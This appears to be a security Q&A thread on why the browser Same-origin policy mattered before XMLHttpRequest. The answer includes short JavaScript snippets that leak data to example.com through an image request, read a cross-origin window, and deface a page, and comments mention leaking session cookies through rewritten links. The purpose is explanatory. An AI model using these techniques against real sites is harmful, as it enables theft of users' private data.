6

As I understand it, the Same-origin policy (SOP) basically prevents a script in a web page from obtaining or sending information from/to a different domain.

I understand that this is important to prevent a page from grabbing private data and passing it along somewhere else. For example, without the SOP, I could write a public web page with a script that:

  • reads information from an intranet site only accessible to the client browser (but not to my server) and
  • sends it back to my server using XMLHttpRequest (or fetch())

However, when the SOP was introduced (JavaScript 1.0, in Netscape Navigator 2.0 in 1995), there was no way to send a request from JavaScript. XMLHttpRequest was only introduced in Internet Explorer 5.0 in March 1999, and fetch() even later.

So - what attacks did the SOP prevent without a way to send a request? Obviously, without SOP a script could grab all kinds of potentially private data, but where is the risk if the script has no way to pass it on?

The Client-Side JavaScript Guide V1.3 (from 1999, hence before XMLHttpRequest) just says:

JavaScript automatically prevents scripts on one server from accessing properties of documents on a different server. This restriction prevents scripts from fetching private information such as directory structures or user session history.

However, it does not explain why "fetching private information" is a problem if there is no way for the script to exfiltrate it.

Community
  • 1
sleske
  • 1,622
  • 12
  • 22
  • You could use javascript to change links on your website that appends session cookie.When the user clicks link the cookie would send along with the get request – yeah_well Jan 17 '20 at 11:10
  • That sounds like a (partial) answer :-). – sleske Jan 17 '20 at 11:12
  • Hence the comment.I am sure there will be a better answer. :-) – yeah_well Jan 17 '20 at 11:16
  • forms have worked since before 1999. forms can be created and submitted programatically. you could also use the `window.name` exfiltrate across domains, or GET requests to any domain via iframe/img/embed/script/object tags, popups, etc. – dandavis Jan 17 '20 at 18:15

1 Answers1

2

Data exfiltration isn't very difficult, because there are various elements which fetch (remote) content.

One example is an image:

var img = document. createElement("img");
img.src = "http://example.com/log?message=" + exfiltrated_data;
var src = document.getElementById("somediv");
src.appendChild(img);

Other avenues would be fetching of CSS/JS files, etc.

Fetching the data is also easy:

var windowx = window.open("http://example.com/stealthis.html");
windowx.onload = function() {
// The SOP prevents this read for different origins:
console.log(windowx.document); // can be exfiltrated via image. 
};

But the SOP is not just about confidentiality, but also integrity. The way the exfiltration code would be injected into the target website would already be a problem, because it would allow an attacker to change what a website displays:

var windowx = window.open("http://example.com/modifythis.html");
windowx.onload = function() {
console.log(windowx.document.write('this shouldn\'t be here'));
};

This can then be used to exfiltrate data (see above), show phishing forms, intercept already existing forms to send the entered data to an attacker, defacement, etc.

tim
  • 29,018
  • 7
  • 95
  • 119